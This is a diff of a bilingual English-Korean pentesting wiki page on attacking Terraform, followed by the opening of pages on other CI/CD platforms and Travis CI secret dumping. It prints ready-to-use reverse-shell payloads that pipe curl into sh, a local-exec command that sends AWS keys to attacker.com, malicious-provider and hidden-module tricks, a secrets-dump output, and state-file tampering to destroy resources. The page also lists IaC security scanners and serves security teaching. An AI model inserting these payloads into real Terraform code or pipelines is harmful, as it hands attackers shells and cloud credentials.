- **작성:** 여러 클라우드 프로바이더 및 서비스에 걸쳐 리소스를 정의합니다. 예를 들어, 보안 그룹과 로드 밸런서가 있는 가상 사설 클라우드(VPC) 네트워크의 가상 머신에 애플리케이션을 배포하기 위한 구성을 만들 수 있습니다.
|
||||
- **계획:** Terraform은 기존 인프라와 구성에 따라 생성, 업데이트 또는 삭제할 인프라를 설명하는 실행 계획을 생성합니다.
|
||||
- **적용:** 승인이 이루어지면 Terraform은 리소스 종속성을 존중하며 제안된 작업을 올바른 순서로 수행합니다. 예를 들어, VPC의 속성을 업데이트하고 해당 VPC의 가상 머신 수를 변경하면 Terraform은 가상 머신을 확장하기 전에 VPC를 재생성합니다.
|
||||
|
||||
.png>)
|
||||
|
||||
### Terraform Lab
|
||||
|
||||
Just install terraform in your computer.
|
||||
컴퓨터에 terraform을 설치하기만 하면 됩니다.
|
||||
|
||||
Here you have a [guide](https://learn.hashicorp.com/tutorials/terraform/install-cli) and here you have the [best way to download terraform](https://www.terraform.io/downloads).
|
||||
여기에서 [가이드](https://learn.hashicorp.com/tutorials/terraform/install-cli)를 확인하고, 여기에서 terraform을 다운로드하는 [최고의 방법](https://www.terraform.io/downloads)을 확인하세요.
|
||||
|
||||
## RCE in Terraform
|
||||
|
||||
Terraform **doesn't have a platform exposing a web page or a network service** we can enumerate, therefore, the only way to compromise terraform is to **be able to add/modify terraform configuration files**.
|
||||
Terraform은 **웹 페이지나 네트워크 서비스를 노출하는 플랫폼이 없습니다**. 따라서 terraform을 손상시키는 유일한 방법은 **terraform 구성 파일을 추가/수정할 수 있는 능력**입니다.
|
||||
|
||||
However, terraform is a **very sensitive component** to compromise because it will have **privileged access** to different locations so it can work properly.
|
||||
그러나 terraform은 **손상시키기 매우 민감한 구성 요소**입니다. 왜냐하면 제대로 작동하기 위해 **특권 액세스**를 다양한 위치에 가져야 하기 때문입니다.
|
||||
|
||||
The main way for an attacker to be able to compromise the system where terraform is running is to **compromise the repository that stores terraform configurations**, because at some point they are going to be **interpreted**.
|
||||
공격자가 terraform이 실행되는 시스템을 손상시킬 수 있는 주요 방법은 **terraform 구성을 저장하는 리포지토리를 손상시키는 것**입니다. 왜냐하면 언젠가는 이들이 **해석될** 것이기 때문입니다.
|
||||
|
||||
Actually, there are solutions out there that **execute terraform plan/apply automatically after a PR** is created, such as **Atlantis**:
|
||||
실제로 PR이 생성된 후 **terraform plan/apply를 자동으로 실행하는** 솔루션이 존재합니다. 예를 들어 **Atlantis**가 있습니다:
|
||||
|
||||
{{#ref}}
|
||||
atlantis-security.md
|
||||
{{#endref}}
|
||||
|
||||
If you are able to compromise a terraform file there are different ways you can perform RCE when someone executed `terraform plan` or `terraform apply`.
|
||||
terraform 파일을 손상시킬 수 있다면, 누군가 `terraform plan` 또는 `terraform apply`를 실행할 때 RCE를 수행할 수 있는 다양한 방법이 있습니다.
|
||||
|
||||
### Terraform plan
|
||||
|
||||
Terraform plan is the **most used command** in terraform and developers/solutions using terraform call it all the time, so the **easiest way to get RCE** is to make sure you poison a terraform config file that will execute arbitrary commands in a `terraform plan`.
|
||||
Terraform plan은 terraform에서 **가장 많이 사용되는 명령어**이며, terraform을 사용하는 개발자/솔루션은 이를 항상 호출합니다. 따라서 **RCE를 얻는 가장 쉬운 방법**은 임의의 명령을 실행할 terraform 구성 파일을 오염시키는 것입니다.
|
||||
|
||||
**Using an external provider**
|
||||
**외부 프로바이더 사용하기**
|
||||
|
||||
Terraform offers the [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs) which provides a way to interface between Terraform and external programs. You can use the `external` data source to run arbitrary code during a `plan`.
|
||||
|
||||
Injecting in a terraform config file something like the following will execute a rev shell when executing `terraform plan`:
|
||||
Terraform은 Terraform과 외부 프로그램 간의 인터페이스를 제공하는 [`external` 프로바이더](https://registry.terraform.io/providers/hashicorp/external/latest/docs)를 제공합니다. `plan` 중에 임의의 코드를 실행하기 위해 `external` 데이터 소스를 사용할 수 있습니다.
|
||||
|
||||
terraform 구성 파일에 다음과 같은 내용을 주입하면 `terraform plan`을 실행할 때 rev shell이 실행됩니다:
|
||||
```javascript
|
||||
data "external" "example" {
|
||||
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
|
||||
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
|
||||
}
|
||||
```
|
||||
**사용자 정의 제공자 사용하기**
|
||||
|
||||
**Using a custom provider**
|
||||
|
||||
An attacker could send a [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup) to the [Terraform Registry](https://registry.terraform.io/) and then add it to the Terraform code in a feature branch ([example from here](https://alex.kaskaso.li/post/terraform-plan-rce)):
|
||||
|
||||
공격자는 [Terraform Registry](https://registry.terraform.io/)에 [사용자 정의 제공자](https://learn.hashicorp.com/tutorials/terraform/provider-setup)를 전송한 다음 기능 브랜치의 Terraform 코드에 추가할 수 있습니다 ([여기에서의 예](https://alex.kaskaso.li/post/terraform-plan-rce)):
|
||||
```javascript
|
||||
terraform {
|
||||
required_providers {
|
||||
evil = {
|
||||
source = "evil/evil"
|
||||
version = "1.0"
|
||||
}
|
||||
}
|
||||
}
|
||||
terraform {
|
||||
required_providers {
|
||||
evil = {
|
||||
source = "evil/evil"
|
||||
version = "1.0"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
provider "evil" {}
|
||||
```
|
||||
|
||||
The provider is downloaded in the `init` and will run the malicious code when `plan` is executed
|
||||
|
||||
You can find an example in [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)
|
||||
|
||||
**Using an external reference**
|
||||
**외부 참조 사용하기**
|
||||
|
||||
Both mentioned options are useful but not very stealthy (the second is more stealthy but more complex than the first one). You can perform this attack even in a **stealthier way**, by following this suggestions:
|
||||
|
||||
- Instead of adding the rev shell directly into the terraform file, you can **load an external resource** that contains the rev shell:
|
||||
두 가지 언급된 옵션은 유용하지만 그리 은밀하지는 않습니다 (두 번째는 더 은밀하지만 첫 번째보다 더 복잡합니다). 다음 제안을 따르면 **더 은밀한 방법**으로 이 공격을 수행할 수 있습니다:
|
||||
|
||||
- terraform 파일에 rev shell을 직접 추가하는 대신, rev shell을 포함하는 **외부 리소스**를 **로드**할 수 있습니다:
|
||||
```javascript
|
||||
module "not_rev_shell" {
|
||||
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
|
||||
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
|
||||
}
|
||||
```
|
||||
|
||||
You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
|
||||
|
||||
- In the external resource, use the **ref** feature to hide the **terraform rev shell code in a branch** inside of the repo, something like: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
|
||||
- 외부 리소스에서 **ref** 기능을 사용하여 **레포의 브랜치에 있는 terraform rev shell 코드를 숨기세요**, 다음과 같은 형식으로: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
|
||||
|
||||
### Terraform Apply
|
||||
|
||||
Terraform apply will be executed to apply all the changes, you can also abuse it to obtain RCE injecting **a malicious Terraform file with** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
|
||||
You just need to make sure some payload like the following ones ends in the `main.tf` file:
|
||||
|
||||
Terraform apply는 모든 변경 사항을 적용하기 위해 실행됩니다. 또한 **악성 Terraform 파일을 주입하여 RCE를 얻기 위해 남용할 수 있습니다** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
|
||||
다음과 같은 페이로드가 `main.tf` 파일에 포함되도록 해야 합니다:
|
||||
```json
|
||||
// Payload 1 to just steal a secret
|
||||
resource "null_resource" "secret_stealer" {
|
||||
provisioner "local-exec" {
|
||||
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
|
||||
}
|
||||
provisioner "local-exec" {
|
||||
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
|
||||
}
|
||||
}
|
||||
|
||||
// Payload 2 to get a rev shell
|
||||
resource "null_resource" "rev_shell" {
|
||||
provisioner "local-exec" {
|
||||
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
|
||||
}
|
||||
provisioner "local-exec" {
|
||||
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Follow the **suggestions from the previous technique** the perform this attack in a **stealthier way using external references**.
|
||||
|
||||
## Secrets Dumps
|
||||
|
||||
You can have **secret values used by terraform dumped** running `terraform apply` by adding to the terraform file something like:
|
||||
|
||||
```json
|
||||
output "dotoken" {
|
||||
value = nonsensitive(var.do_token)
|
||||
value = nonsensitive(var.do_token)
|
||||
}
|
||||
```
|
||||
## Terraform 상태 파일 악용
|
||||
|
||||
## Abusing Terraform State Files
|
||||
terraform 상태 파일에 대한 쓰기 권한이 있지만 terraform 코드를 변경할 수 없는 경우, [**이 연구**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/)는 파일을 활용할 수 있는 흥미로운 옵션을 제공합니다:
|
||||
|
||||
In case you have write access over terraform state files but cannot change the terraform code, [**this research**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) gives some interesting options to take advantage of the file:
|
||||
### 리소스 삭제 <a href="#deleting-resources" id="deleting-resources"></a>
|
||||
|
||||
### Deleting resources <a href="#deleting-resources" id="deleting-resources"></a>
|
||||
리소스를 파괴하는 방법은 2가지가 있습니다:
|
||||
|
||||
There are 2 ways to destroy resources:
|
||||
|
||||
1. **Insert a resource with a random name into the state file pointing to the real resource to destroy**
|
||||
|
||||
Because terraform will see that the resource shouldn't exit, it'll destroy it (following the real resource ID indicated). Example from the previous page:
|
||||
1. **실제 삭제할 리소스를 가리키는 임의의 이름으로 리소스를 상태 파일에 삽입하기**
|
||||
|
||||
terraform은 해당 리소스가 존재하지 않아야 한다고 판단하므로, 이를 파괴할 것입니다(지정된 실제 리소스 ID를 따릅니다). 이전 페이지의 예:
|
||||
```json
|
||||
{
|
||||
"mode": "managed",
|
||||
"type": "aws_instance",
|
||||
"name": "example",
|
||||
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
|
||||
"instances": [
|
||||
{
|
||||
"attributes": {
|
||||
"id": "i-1234567890abcdefg"
|
||||
}
|
||||
}
|
||||
]
|
||||
"mode": "managed",
|
||||
"type": "aws_instance",
|
||||
"name": "example",
|
||||
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
|
||||
"instances": [
|
||||
{
|
||||
"attributes": {
|
||||
"id": "i-1234567890abcdefg"
|
||||
}
|
||||
}
|
||||
]
|
||||
},
|
||||
```
|
||||
2. **업데이트할 수 없는 방식으로 삭제할 리소스를 수정합니다 (그래서 삭제되고 다시 생성됩니다)**
|
||||
|
||||
2. **Modify the resource to delete in a way that it's not possible to update (so it'll be deleted a recreated)**
|
||||
|
||||
For an EC2 instance, modifying the type of the instance is enough to make terraform delete a recreate it.
|
||||
EC2 인스턴스의 경우, 인스턴스 유형을 수정하는 것만으로 terraform이 삭제하고 다시 생성하도록 만들 수 있습니다.
|
||||
|
||||
### RCE
|
||||
|
||||
It's also possible to [create a custom provider](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) and just replace one of the providers in the terraform state file for the malicious one or add an empty resource with the malicious provider. Example from the original research:
|
||||
|
||||
[커스텀 프로바이더를 생성하는 것도 가능합니다](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) 그리고 terraform 상태 파일에서 악성 프로바이더로 하나의 프로바이더를 교체하거나 악성 프로바이더로 빈 리소스를 추가할 수 있습니다. 원래 연구의 예:
|
||||
```json
|
||||
"resources": [
|
||||
{
|
||||
"mode": "managed",
|
||||
"type": "scaffolding_example",
|
||||
"name": "example",
|
||||
"provider": "provider[\"registry.terraform.io/dagrz/terrarizer\"]",
|
||||
"instances": [
|
||||
"mode": "managed",
|
||||
"type": "scaffolding_example",
|
||||
"name": "example",
|
||||
"provider": "provider[\"registry.terraform.io/dagrz/terrarizer\"]",
|
||||
"instances": [
|
||||
|
||||
]
|
||||
]
|
||||
},
|
||||
```
|
||||
### 블랙리스트에 있는 프로바이더 교체
|
||||
|
||||
### Replace blacklisted provider
|
||||
|
||||
In case you encounter a situation where `hashicorp/external` was blacklisted, you can re-implement the `external` provider by doing the following. Note: We use a fork of external provider published by https://registry.terraform.io/providers/nazarewk/external/latest. You can publish your own fork or re-implementation as well.
|
||||
|
||||
`hashicorp/external`이 블랙리스트에 있는 상황에 직면한 경우, 다음과 같이 `external` 프로바이더를 재구현할 수 있습니다. 참고: 우리는 https://registry.terraform.io/providers/nazarewk/external/latest에서 게시된 external 프로바이더의 포크를 사용합니다. 당신도 자신의 포크나 재구현을 게시할 수 있습니다.
|
||||
```terraform
|
||||
terraform {
|
||||
required_providers {
|
||||
external = {
|
||||
source = "nazarewk/external"
|
||||
version = "3.0.0"
|
||||
}
|
||||
}
|
||||
required_providers {
|
||||
external = {
|
||||
source = "nazarewk/external"
|
||||
version = "3.0.0"
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Then you can use `external` as per normal.
|
||||
|
||||
그런 다음 일반적으로 `external`을 사용할 수 있습니다.
|
||||
```terraform
|
||||
data "external" "example" {
|
||||
program = ["sh", "-c", "whoami"]
|
||||
program = ["sh", "-c", "whoami"]
|
||||
}
|
||||
```
|
||||
|
||||
## Automatic Audit Tools
|
||||
## 자동 감사 도구
|
||||
|
||||
### [**Snyk Infrastructure as Code (IaC)**](https://snyk.io/product/infrastructure-as-code-security/)
|
||||
|
||||
Snyk offers a comprehensive Infrastructure as Code (IaC) scanning solution that detects vulnerabilities and misconfigurations in Terraform, CloudFormation, Kubernetes, and other IaC formats.
|
||||
|
||||
- **Features:**
|
||||
- Real-time scanning for security vulnerabilities and compliance issues.
|
||||
- Integration with version control systems (GitHub, GitLab, Bitbucket).
|
||||
- Automated fix pull requests.
|
||||
- Detailed remediation advice.
|
||||
- **Sign Up:** Create an account on [Snyk](https://snyk.io/).
|
||||
Snyk은 Terraform, CloudFormation, Kubernetes 및 기타 IaC 형식에서 취약점과 잘못된 구성을 감지하는 포괄적인 Infrastructure as Code (IaC) 스캔 솔루션을 제공합니다.
|
||||
|
||||
- **기능:**
|
||||
- 보안 취약점 및 규정 준수 문제에 대한 실시간 스캔.
|
||||
- 버전 관리 시스템(GitHub, GitLab, Bitbucket)과의 통합.
|
||||
- 자동 수정 풀 요청.
|
||||
- 상세한 수정 조언.
|
||||
- **가입하기:** [Snyk](https://snyk.io/)에서 계정을 만드세요.
|
||||
```bash
|
||||
brew tap snyk/tap
|
||||
brew install snyk
|
||||
snyk auth
|
||||
snyk iac test /path/to/terraform/code
|
||||
```
|
||||
|
||||
### [Checkov](https://github.com/bridgecrewio/checkov) <a href="#install-checkov-from-pypi" id="install-checkov-from-pypi"></a>
|
||||
|
||||
**Checkov** is a static code analysis tool for infrastructure as code (IaC) and also a software composition analysis (SCA) tool for images and open source packages.
|
||||
**Checkov**는 코드로서의 인프라(IaC)를 위한 정적 코드 분석 도구이자 이미지 및 오픈 소스 패키지를 위한 소프트웨어 구성 분석(SCA) 도구입니다.
|
||||
|
||||
It scans cloud infrastructure provisioned using [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), or [OpenTofu](https://opentofu.org/) and detects security and compliance misconfigurations using graph-based scanning.
|
||||
|
||||
It performs [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) which is a scan of open source packages and images for Common Vulnerabilities and Exposures (CVEs).
|
||||
이 도구는 [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md) 또는 [OpenTofu](https://opentofu.org/)를 사용하여 프로비저닝된 클라우드 인프라를 스캔하고 그래프 기반 스캔을 통해 보안 및 컴플라이언스 잘못 구성된 사항을 감지합니다.
|
||||
|
||||
이 도구는 오픈 소스 패키지 및 이미지에 대한 일반 취약점 및 노출(CVEs)을 스캔하는 [소프트웨어 구성 분석(SCA) 스캔](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md)을 수행합니다.
|
||||
```bash
|
||||
pip install checkov
|
||||
checkov -d /path/to/folder
|
||||
```
|
||||
|
||||
### [terraform-compliance](https://github.com/terraform-compliance/cli)
|
||||
|
||||
From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` is a lightweight, security and compliance focused test framework against terraform to enable negative testing capability for your infrastructure-as-code.
|
||||
From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance`는 인프라스트럭처-코드에 대한 부정 테스트 기능을 활성화하기 위해 terraform에 대한 경량의 보안 및 준수 중심 테스트 프레임워크입니다.
|
||||
|
||||
- **compliance:** Ensure the implemented code is following security standards, your own custom standards
|
||||
- **behaviour driven development:** We have BDD for nearly everything, why not for IaC ?
|
||||
- **portable:** just install it from `pip` or run it via `docker`. See [Installation](https://terraform-compliance.com/pages/installation/)
|
||||
- **pre-deploy:** it validates your code before it is deployed
|
||||
- **easy to integrate:** it can run in your pipeline (or in git hooks) to ensure all deployments are validated.
|
||||
- **segregation of duty:** you can keep your tests in a different repository where a separate team is responsible.
|
||||
- **compliance:** 구현된 코드가 보안 표준 및 사용자 정의 표준을 따르는지 확인합니다.
|
||||
- **behaviour driven development:** 거의 모든 것에 대해 BDD가 있는데, IaC에 대해서는 왜 안 될까요?
|
||||
- **portable:** `pip`에서 설치하거나 `docker`를 통해 실행하기만 하면 됩니다. [설치](https://terraform-compliance.com/pages/installation/)를 참조하세요.
|
||||
- **pre-deploy:** 배포되기 전에 코드를 검증합니다.
|
||||
- **easy to integrate:** 모든 배포가 검증되도록 파이프라인(또는 git 후크)에서 실행할 수 있습니다.
|
||||
- **segregation of duty:** 별도의 팀이 책임지는 다른 리포지토리에 테스트를 보관할 수 있습니다.
|
||||
|
||||
> [!NOTE]
|
||||
> Unfortunately if the code is using some providers you don't have access to you won't be able to perform the `terraform plan` and run this tool.
|
||||
|
||||
> 불행히도 코드가 접근할 수 없는 일부 공급자를 사용하고 있다면 `terraform plan`을 수행하고 이 도구를 실행할 수 없습니다.
|
||||
```bash
|
||||
pip install terraform-compliance
|
||||
terraform plan -out=plan.out
|
||||
terraform-compliance -f /path/to/folder
|
||||
```
|
||||
|
||||
### [tfsec](https://github.com/aquasecurity/tfsec)
|
||||
|
||||
From the [**docs**](https://github.com/aquasecurity/tfsec): tfsec uses static analysis of your terraform code to spot potential misconfigurations.
|
||||
|
||||
- ☁️ Checks for misconfigurations across all major (and some minor) cloud providers
|
||||
- ⛔ Hundreds of built-in rules
|
||||
- 🪆 Scans modules (local and remote)
|
||||
- ➕ Evaluates HCL expressions as well as literal values
|
||||
- ↪️ Evaluates Terraform functions e.g. `concat()`
|
||||
- 🔗 Evaluates relationships between Terraform resources
|
||||
- 🧰 Compatible with the Terraform CDK
|
||||
- 🙅 Applies (and embellishes) user-defined Rego policies
|
||||
- 📃 Supports multiple output formats: lovely (default), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif.
|
||||
- 🛠️ Configurable (via CLI flags and/or config file)
|
||||
- ⚡ Very fast, capable of quickly scanning huge repositories
|
||||
From the [**docs**](https://github.com/aquasecurity/tfsec): tfsec는 잠재적인 잘못된 구성을 발견하기 위해 terraform 코드를 정적 분석합니다.
|
||||
|
||||
- ☁️ 모든 주요 (및 일부 부수적인) 클라우드 제공업체에서 잘못된 구성을 확인합니다.
|
||||
- ⛔ 수백 개의 내장 규칙
|
||||
- 🪆 모듈 스캔 (로컬 및 원격)
|
||||
- ➕ HCL 표현식과 리터럴 값을 평가합니다.
|
||||
- ↪️ Terraform 함수 예: `concat()`를 평가합니다.
|
||||
- 🔗 Terraform 리소스 간의 관계를 평가합니다.
|
||||
- 🧰 Terraform CDK와 호환됩니다.
|
||||
- 🙅 사용자 정의 Rego 정책을 적용하고 (장식합니다).
|
||||
- 📃 여러 출력 형식을 지원합니다: lovely (기본값), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif.
|
||||
- 🛠️ 구성 가능 (CLI 플래그 및/또는 구성 파일을 통해)
|
||||
- ⚡ 매우 빠르며, 대규모 리포지토리를 신속하게 스캔할 수 있습니다.
|
||||
```bash
|
||||
brew install tfsec
|
||||
tfsec /path/to/folder
|
||||
```
|
||||
|
||||
### [KICKS](https://github.com/Checkmarx/kics)
|
||||
|
||||
Find security vulnerabilities, compliance issues, and infrastructure misconfigurations early in the development cycle of your infrastructure-as-code with **KICS** by Checkmarx.
|
||||
|
||||
**KICS** stands for **K**eeping **I**nfrastructure as **C**ode **S**ecure, it is open source and is a must-have for any cloud native project.
|
||||
**KICS**를 사용하여 인프라 코드의 개발 주기 초기에 보안 취약점, 컴플라이언스 문제 및 인프라 구성 오류를 찾아보세요.
|
||||
|
||||
**KICS**는 **K**eeping **I**nfrastructure as **C**ode **S**ecure의 약자로, 오픈 소스이며 모든 클라우드 네이티브 프로젝트에 필수입니다.
|
||||
```bash
|
||||
docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"
|
||||
```
|
||||
|
||||
### [Terrascan](https://github.com/tenable/terrascan)
|
||||
|
||||
From the [**docs**](https://github.com/tenable/terrascan): Terrascan is a static code analyzer for Infrastructure as Code. Terrascan allows you to:
|
||||
|
||||
- Seamlessly scan infrastructure as code for misconfigurations.
|
||||
- Monitor provisioned cloud infrastructure for configuration changes that introduce posture drift, and enables reverting to a secure posture.
|
||||
- Detect security vulnerabilities and compliance violations.
|
||||
- Mitigate risks before provisioning cloud native infrastructure.
|
||||
- Offers flexibility to run locally or integrate with your CI\CD.
|
||||
From the [**docs**](https://github.com/tenable/terrascan): Terrascan은 코드로서의 인프라를 위한 정적 코드 분석기입니다. Terrascan을 사용하면 다음을 수행할 수 있습니다:
|
||||
|
||||
- 잘못된 구성을 위해 코드로서의 인프라를 원활하게 스캔합니다.
|
||||
- 구성 변경으로 인한 포지션 드리프트를 모니터링하고, 안전한 포지션으로 되돌릴 수 있게 합니다.
|
||||
- 보안 취약점 및 규정 준수 위반을 감지합니다.
|
||||
- 클라우드 네이티브 인프라를 프로비저닝하기 전에 위험을 완화합니다.
|
||||
- 로컬에서 실행하거나 CI\CD와 통합할 수 있는 유연성을 제공합니다.
|
||||
```bash
|
||||
brew install terrascan
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
- [Atlantis Security](atlantis-security.md)
|
||||
@@ -310,7 +280,3 @@ brew install terrascan
|
||||
- [https://blog.plerion.com/hacking-terraform-state-privilege-escalation/](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
Github PRs are welcome explaining how to (ab)use those platforms from an attacker perspective
|
||||
공격자의 관점에서 이러한 플랫폼을 (악용)하는 방법을 설명하는 Github PR을 환영합니다.
|
||||
|
||||
- Drone
|
||||
- TeamCity
|
||||
@@ -11,10 +11,6 @@ Github PRs are welcome explaining how to (ab)use those platforms from an attacke
|
||||
- Rancher
|
||||
- Mesosphere
|
||||
- Radicle
|
||||
- Any other CI/CD platform...
|
||||
- 기타 CI/CD 플랫폼...
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## What is TravisCI
|
||||
|
||||
**Travis CI** is a **hosted** or on **premises** **continuous integration** service used to build and test software projects hosted on several **different git platform**.
|
||||
**Travis CI**는 여러 **다양한 git 플랫폼**에 호스팅된 소프트웨어 프로젝트를 빌드하고 테스트하는 데 사용되는 **호스팅** 또는 **온프레미스** **지속적 통합** 서비스입니다.
|
||||
|
||||
{{#ref}}
|
||||
basic-travisci-information.md
|
||||
@@ -14,48 +14,48 @@ basic-travisci-information.md
|
||||
|
||||
### Triggers
|
||||
|
||||
To launch an attack you first need to know how to trigger a build. By default TravisCI will **trigger a build on pushes and pull requests**:
|
||||
공격을 시작하려면 먼저 빌드를 트리거하는 방법을 알아야 합니다. 기본적으로 TravisCI는 **푸시 및 풀 리퀘스트에서 빌드를 트리거**합니다:
|
||||
|
||||
.png>)
|
||||
|
||||
#### Cron Jobs
|
||||
|
||||
If you have access to the web application you can **set crons to run the build**, this could be useful for persistence or to trigger a build:
|
||||
웹 애플리케이션에 접근할 수 있다면 **크론을 설정하여 빌드를 실행**할 수 있습니다. 이는 지속성을 위해 유용하거나 빌드를 트리거하는 데 사용할 수 있습니다:
|
||||
|
||||
.png>)
|
||||
|
||||
> [!NOTE]
|
||||
> It looks like It's not possible to set crons inside the `.travis.yml` according to [this](https://github.com/travis-ci/travis-ci/issues/9162).
|
||||
> [이](https://github.com/travis-ci/travis-ci/issues/9162) 링크에 따르면 `.travis.yml` 내에서 크론을 설정하는 것은 불가능한 것 같습니다.
|
||||
|
||||
### Third Party PR
|
||||
|
||||
TravisCI by default disables sharing env variables with PRs coming from third parties, but someone might enable it and then you could create PRs to the repo and exfiltrate the secrets:
|
||||
TravisCI는 기본적으로 제3자에서 오는 PR과 환경 변수를 공유하는 것을 비활성화하지만, 누군가 이를 활성화하면 리포지토리에 PR을 생성하고 비밀을 유출할 수 있습니다:
|
||||
|
||||
.png>)
|
||||
|
||||
### Dumping Secrets
|
||||
|
||||
As explained in the [**basic information**](basic-travisci-information.md) page, there are 2 types of secrets. **Environment Variables secrets** (which are listed in the web page) and **custom encrypted secrets**, which are stored inside the `.travis.yml` file as base64 (note that both as stored encrypted will end as env variables in the final machines).
|
||||
[**기본 정보**](basic-travisci-information.md) 페이지에서 설명한 바와 같이, 비밀에는 2가지 유형이 있습니다. **환경 변수 비밀**(웹 페이지에 나열됨)과 **사용자 정의 암호화된 비밀**이 있으며, 이는 `.travis.yml` 파일에 base64로 저장됩니다(저장된 암호화된 두 가지 모두 최종 머신의 환경 변수로 끝납니다).
|
||||
|
||||
- To **enumerate secrets** configured as **Environment Variables** go to the **settings** of the **project** and check the list. However, note that all the project env variables set here will appear when triggering a build.
|
||||
- To enumerate the **custom encrypted secrets** the best you can do is to **check the `.travis.yml` file**.
|
||||
- To **enumerate encrypted files** you can check for **`.enc` files** in the repo, for lines similar to `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` in the config file, or for **encrypted iv and keys** in the **Environment Variables** such as:
|
||||
- **환경 변수**로 구성된 **비밀을 나열**하려면 **프로젝트**의 **설정**으로 가서 목록을 확인하십시오. 그러나 여기에서 설정된 모든 프로젝트 환경 변수는 빌드를 트리거할 때 나타납니다.
|
||||
- **사용자 정의 암호화된 비밀**을 나열하려면 **`.travis.yml` 파일**을 확인하는 것이 최선입니다.
|
||||
